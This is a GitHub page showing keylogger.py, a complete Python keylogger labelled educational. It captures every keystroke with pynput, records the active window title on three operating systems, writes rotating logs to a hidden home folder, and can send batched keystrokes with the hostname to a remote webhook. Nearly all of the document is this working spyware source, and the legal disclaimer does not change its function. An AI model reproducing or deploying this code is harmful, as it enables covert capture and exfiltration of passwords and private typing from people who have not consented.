-
-
Notifications
You must be signed in to change notification settings - Fork 401
Expand file tree
/
Copy pathkeylogger.py
More file actions
564 lines (485 loc) · 17.2 KB
/
Copy pathkeylogger.py
File metadata and controls
564 lines (485 loc) · 17.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
"""
©AngelaMos | 2026
keylogger.py
Educational keylogger demonstrating keyboard capture, log management, and remote delivery
Captures keystrokes via pynput, tracks the active window across Windows, macOS,
and Linux, writes timestamped logs to disk with size-based rotation, and optionally
ships batched events to a webhook. All classes and constants live in this single file.
Directory creation happens in LogManager, not KeyloggerConfig, so config objects
carry no side effects on construction.
IMPORTANT: Unauthorized use of keyloggers is illegal. Only use on systems you own
or have explicit permission to monitor.
Key exports:
Keylogger - Main class, coordinates listener, log writer, and webhook
KeyloggerConfig - Dataclass holding all runtime configuration
KeyEvent - Single keystroke record with timestamp, window title, and type
LogManager - Raw file writer with size-based rotation and explicit close()
WebhookDelivery - Batched HTTP delivery, releases the buffer lock before POSTing
WindowTracker - Active window title lookup across three OS platforms
KeyType - Enum categorizing keystrokes as CHAR, SPECIAL, or UNKNOWN
SPECIAL_KEYS - Dict mapping pynput Key values to their display labels
"""
import subprocess
import platform
import logging
from enum import (
Enum,
auto,
)
from threading import (
Event,
Lock,
)
from pathlib import Path
from datetime import datetime
from dataclasses import dataclass
try:
from pynput import keyboard
from pynput.keyboard import Key, KeyCode
except ImportError as exc:
raise ImportError("pynput is required: uv add pynput") from exc
try:
import requests
except ImportError:
requests = None # type: ignore[assignment]
WINDOWS = "Windows"
DARWIN = "Darwin"
LINUX = "Linux"
if platform.system() == WINDOWS:
try:
import win32gui
import win32process
import psutil
except ImportError:
win32gui = None
elif platform.system() == DARWIN:
try:
from AppKit import NSWorkspace
except ImportError:
NSWorkspace = None
BYTES_PER_MB = 1024 * 1024
WEBHOOK_TIMEOUT_SECS = 5
WINDOW_CHECK_INTERVAL_SECS = 0.5
LISTENER_JOIN_TIMEOUT_SECS = 1.0
SPECIAL_KEYS: dict[Key,
str] = {
Key.space: "[SPACE]",
Key.enter: "[ENTER]",
Key.tab: "[TAB]",
Key.backspace: "[BACKSPACE]",
Key.delete: "[DELETE]",
Key.shift: "[SHIFT]",
Key.shift_r: "[SHIFT]",
Key.ctrl: "[CTRL]",
Key.ctrl_r: "[CTRL]",
Key.alt: "[ALT]",
Key.alt_r: "[ALT]",
Key.cmd: "[CMD]",
Key.cmd_r: "[CMD]",
Key.esc: "[ESC]",
Key.up: "[UP]",
Key.down: "[DOWN]",
Key.left: "[LEFT]",
Key.right: "[RIGHT]",
}
class KeyType(Enum):
"""
Categorizes keystrokes as character, special, or unknown
"""
CHAR = auto()
SPECIAL = auto()
UNKNOWN = auto()
@dataclass
class KeyloggerConfig:
"""
Runtime configuration for keylogger behavior
"""
log_dir: Path = Path.home() / ".keylogger_logs"
log_file_prefix: str = "keylog"
max_log_size_mb: float = 5.0
webhook_url: str | None = None
webhook_batch_size: int = 50
toggle_key: Key = Key.f9
enable_window_tracking: bool = True
log_special_keys: bool = True
window_check_interval: float = (WINDOW_CHECK_INTERVAL_SECS)
@dataclass
class KeyEvent:
"""
Represents a single keyboard event
"""
timestamp: datetime
key: str
window_title: str | None = None
key_type: KeyType = KeyType.CHAR
def to_dict(self) -> dict[str, str]:
"""
Convert event to dictionary for serialization
"""
return {
"timestamp": self.timestamp.isoformat(),
"key": self.key,
"window_title": (self.window_title or "Unknown"),
"key_type": self.key_type.name.lower(),
}
def to_log_string(self) -> str:
"""
Format event as human readable log line
"""
time_str = self.timestamp.strftime("%Y-%m-%d %H:%M:%S")
window = (
f" [{self.window_title}]" if self.window_title else ""
)
return f"[{time_str}]{window} {self.key}"
class WindowTracker:
"""
Active window title lookup across OS platforms
"""
@staticmethod
def get_active_window() -> str | None:
"""
Get the title of the currently active window
"""
system = platform.system()
if system == WINDOWS and win32gui:
return WindowTracker._get_windows_window()
if system == DARWIN and NSWorkspace:
return WindowTracker._get_macos_window()
if system == LINUX:
return WindowTracker._get_linux_window()
return None
@staticmethod
def _get_windows_window() -> str | None:
try:
hwnd = win32gui.GetForegroundWindow()
_, pid = (win32process.GetWindowThreadProcessId(hwnd))
process = psutil.Process(pid)
title = win32gui.GetWindowText(hwnd)
if title:
return (f"{process.name()} - {title}")
return process.name()
except Exception:
return None
@staticmethod
def _get_macos_window() -> str | None:
try:
active = (
NSWorkspace.sharedWorkspace().activeApplication()
)
return active.get(
'NSApplicationName',
'Unknown',
)
except Exception:
return None
@staticmethod
def _get_linux_window() -> str | None:
try:
result = subprocess.run(
[
'xdotool',
'getactivewindow',
'getwindowname',
],
capture_output = True,
text = True,
timeout = 1,
check = False,
)
if result.returncode == 0:
return result.stdout.strip()
return None
except Exception:
return None
class LogManager:
"""
File writer with automatic size-based rotation
"""
def __init__(self, config: KeyloggerConfig):
self.config = config
config.log_dir.mkdir(
parents = True,
exist_ok = True,
)
self.current_log_path = (self._get_new_log_path())
self._lock = Lock()
self._file = open(
self.current_log_path,
'a',
encoding = 'utf-8',
)
def _get_new_log_path(self) -> Path:
"""
Generate a new log file path with timestamp
"""
ts = datetime.now().strftime("%Y%m%d_%H%M%S_%f")
name = (f"{self.config.log_file_prefix}_{ts}.txt")
return self.config.log_dir / name
def write_event(self, event: KeyEvent) -> None:
"""
Write a keyboard event to the log file
"""
with self._lock:
self._file.write(event.to_log_string() + '\n')
self._file.flush()
self._check_rotation()
def _check_rotation(self) -> None:
"""
Rotate log file when size limit is reached
"""
try:
size = (self.current_log_path.stat().st_size)
except FileNotFoundError:
self._rotate()
return
if (size / BYTES_PER_MB >= self.config.max_log_size_mb):
self._rotate()
def _rotate(self) -> None:
"""
Close current log file and open a new one
"""
self._file.close()
self.current_log_path = (self._get_new_log_path())
self._file = open(
self.current_log_path,
'a',
encoding = 'utf-8',
)
def get_current_log_content(self) -> str:
"""
Read and return the current log file content
"""
with self._lock:
self._file.flush()
return self.current_log_path.read_text(encoding = 'utf-8')
def close(self) -> None:
"""
Close the underlying file handle
"""
with self._lock:
self._file.close()
class WebhookDelivery:
"""
Batched HTTP delivery of events to a remote endpoint
"""
def __init__(self, config: KeyloggerConfig):
self.config = config
self.event_buffer: list[KeyEvent] = []
self.buffer_lock = Lock()
self.enabled = bool(config.webhook_url and requests)
def add_event(self, event: KeyEvent) -> None:
"""
Buffer an event and deliver when batch is full
"""
if not self.enabled:
return
batch: list[KeyEvent] | None = None
with self.buffer_lock:
self.event_buffer.append(event)
if (len(self.event_buffer)
>= self.config.webhook_batch_size):
batch = self.event_buffer
self.event_buffer = []
if batch:
self._deliver_batch(batch)
def _deliver_batch(
self,
events: list[KeyEvent],
) -> None:
"""
POST buffered events to the webhook endpoint
"""
if not events or not self.config.webhook_url:
return
payload = {
"timestamp": (datetime.now().isoformat()),
"host": platform.node(),
"events": [e.to_dict() for e in events],
}
try:
response = requests.post(
self.config.webhook_url,
json = payload,
timeout = WEBHOOK_TIMEOUT_SECS,
)
if not response.ok:
logging.warning(
"Webhook returned %s",
response.status_code,
)
except Exception:
logging.error(
"Webhook delivery failed",
exc_info = True,
)
def flush(self) -> None:
"""
Force delivery of remaining buffered events
"""
batch: list[KeyEvent] | None = None
with self.buffer_lock:
if self.event_buffer:
batch = self.event_buffer
self.event_buffer = []
if batch:
self._deliver_batch(batch)
class Keylogger:
"""
Coordinates listener, log writer, and webhook
"""
def __init__(self, config: KeyloggerConfig):
self.config = config
self.log_manager = LogManager(config)
self.webhook = WebhookDelivery(config)
self.window_tracker = WindowTracker()
self.is_running = Event()
self.is_logging = Event()
self.listener: keyboard.Listener | None = (None)
self._current_window: str | None = None
self._last_window_check = datetime.now()
def _update_active_window(self) -> None:
"""
Update cached window title periodically
"""
if not self.config.enable_window_tracking:
return
now = datetime.now()
elapsed = (now - self._last_window_check).total_seconds()
if (elapsed >= self.config.window_check_interval):
self._current_window = (
self.window_tracker.get_active_window()
)
self._last_window_check = now
def _process_key(
self,
key: Key | KeyCode,
) -> tuple[str,
KeyType]:
"""
Convert key to string representation and type
"""
if isinstance(key, Key):
label = SPECIAL_KEYS.get(key)
if label:
return label, KeyType.SPECIAL
return (
f"[{key.name.upper()}]",
KeyType.SPECIAL,
)
if hasattr(key, 'char') and key.char:
return key.char, KeyType.CHAR
return "[UNKNOWN]", KeyType.UNKNOWN
def _on_press(
self,
key: Key | KeyCode,
) -> None:
"""
Callback for key press events
"""
if key == self.config.toggle_key:
self._toggle_logging()
return
if not self.is_logging.is_set():
return
self._update_active_window()
key_str, key_type = self._process_key(key)
if (key_type == KeyType.SPECIAL
and not self.config.log_special_keys):
return
event = KeyEvent(
timestamp = datetime.now(),
key = key_str,
window_title = self._current_window,
key_type = key_type,
)
self.log_manager.write_event(event)
self.webhook.add_event(event)
def _toggle_logging(self) -> None:
"""
Toggle logging on/off with the configured key
"""
toggle = (self.config.toggle_key.name.upper())
if self.is_logging.is_set():
self.is_logging.clear()
print(
f"\n[*] Logging paused. "
f"Press {toggle} to resume."
)
else:
self.is_logging.set()
print(
f"\n[*] Logging resumed. "
f"Press {toggle} to pause."
)
def start(self) -> None:
"""
Start the keylogger
"""
toggle = (self.config.toggle_key.name.upper())
webhook_status = (
"Enabled" if self.webhook.enabled else "Disabled"
)
print("Keylogger Started")
print()
print(f"Log Directory: {self.config.log_dir}")
print(
"Current Log: "
f"{self.log_manager.current_log_path.name}"
)
print(f"Toggle Key: {toggle}")
print(f"Webhook: {webhook_status}")
print()
print("[*] Press "
f"{toggle} to start/stop logging")
print("[*] Press CTRL+C to exit\n")
self.is_running.set()
self.is_logging.set()
self.listener = keyboard.Listener(on_press = self._on_press)
self.listener.start()
try:
while self.is_running.is_set():
self.listener.join(
timeout = (LISTENER_JOIN_TIMEOUT_SECS)
)
except KeyboardInterrupt:
self.stop()
def stop(self) -> None:
"""
Stop the keylogger gracefully
"""
print("\n\n[*] Shutting down...")
self.is_running.clear()
self.is_logging.clear()
if self.listener:
self.listener.stop()
self.webhook.flush()
self.log_manager.close()
print("[*] Logs saved to: "
f"{self.config.log_dir}")
print("[*] Keylogger stopped.")
def main() -> None:
"""
Entry point with default configuration
"""
keylogger = Keylogger(KeyloggerConfig())
try:
keylogger.start()
except Exception as e:
print(f"\n[!] Error: {e}")
keylogger.stop()
if __name__ == "__main__":
main()
"""
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀
⢸⠉⣹⠋⠉⢉⡟⢩⢋⠋⣽⡻⠭⢽⢉⠯⠭⠭⠭⢽⡍⢹⡍⠙⣯⠉⠉⠉⠉⠉⣿⢫⠉⠉⠉⢉⡟⠉⢿⢹⠉⢉⣉⢿⡝⡉⢩⢿⣻⢍⠉⠉⠩⢹⣟⡏⠉⠹⡉⢻⡍⡇
⢸⢠⢹⠀⠀⢸⠁⣼⠀⣼⡝⠀⠀⢸⠘⠀⠀⠀⠀⠈⢿⠀⡟⡄⠹⣣⠀⠀⠐⠀⢸⡘⡄⣤⠀⡼⠁⠀⢺⡘⠉⠀⠀⠀⠫⣪⣌⡌⢳⡻⣦⠀⠀⢃⡽⡼⡀⠀⢣⢸⠸⡇
⢸⡸⢸⠀⠀⣿⠀⣇⢠⡿⠀⠀⠀⠸⡇⠀⠀⠀⠀⠀⠘⢇⠸⠘⡀⠻⣇⠀⠀⠄⠀⡇⢣⢛⠀⡇⠀⠀⣸⠇⠀⠀⠀⠀⠀⠘⠄⢻⡀⠻⣻⣧⠀⠀⠃⢧⡇⠀⢸⢸⡇⡇
⢸⡇⢸⣠⠀⣿⢠⣿⡾⠁⠀⢀⡀⠤⢇⣀⣐⣀⠀⠤⢀⠈⠢⡡⡈⢦⡙⣷⡀⠀⠀⢿⠈⢻⣡⠁⠀⢀⠏⠀⠀⠀⢀⠀⠄⣀⣐⣀⣙⠢⡌⣻⣷⡀⢹⢸⡅⠀⢸⠸⡇⡇
⢸⡇⢸⣟⠀⢿⢸⡿⠀⣀⣶⣷⣾⡿⠿⣿⣿⣿⣿⣿⣶⣬⡀⠐⠰⣄⠙⠪⣻⣦⡀⠘⣧⠀⠙⠄⠀⠀⠀⠀⠀⣨⣴⣾⣿⠿⣿⣿⣿⣿⣿⣶⣯⣿⣼⢼⡇⠀⢸⡇⡇⠇
⢸⢧⠀⣿⡅⢸⣼⡷⣾⣿⡟⠋⣿⠓⢲⣿⣿⣿⡟⠙⣿⠛⢯⡳⡀⠈⠓⠄⡈⠚⠿⣧⣌⢧⠀⠀⠀⠀⠀⣠⣺⠟⢫⡿⠓⢺⣿⣿⣿⠏⠙⣏⠛⣿⣿⣾⡇⢀⡿⢠⠀⡇
⢸⢸⠀⢹⣷⡀⢿⡁⠀⠻⣇⠀⣇⠀⠘⣿⣿⡿⠁⠐⣉⡀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⠳⠄⠀⠀⠀⠀⠋⠀⠘⡇⠀⠸⣿⣿⠟⠀⢈⣉⢠⡿⠁⣼⠁⣼⠃⣼⠀⡇
⢸⠸⣀⠈⣯⢳⡘⣇⠀⠀⠈⡂⣜⣆⡀⠀⠀⢀⣀⡴⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢽⣆⣀⠀⠀⠀⣀⣜⠕⡊⠀⣸⠇⣼⡟⢠⠏⠀⡇
⢸⠀⡟⠀⢸⡆⢹⡜⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠋⣾⡏⡇⡎⡇⠀⡇
⢸⠀⢃⡆⠀⢿⡄⠑⢽⣄⠀⠀⠀⢀⠂⠠⢁⠈⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠄⡐⢀⠂⠀⠀⣠⣮⡟⢹⣯⣸⣱⠁⠀⡇
⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁
"""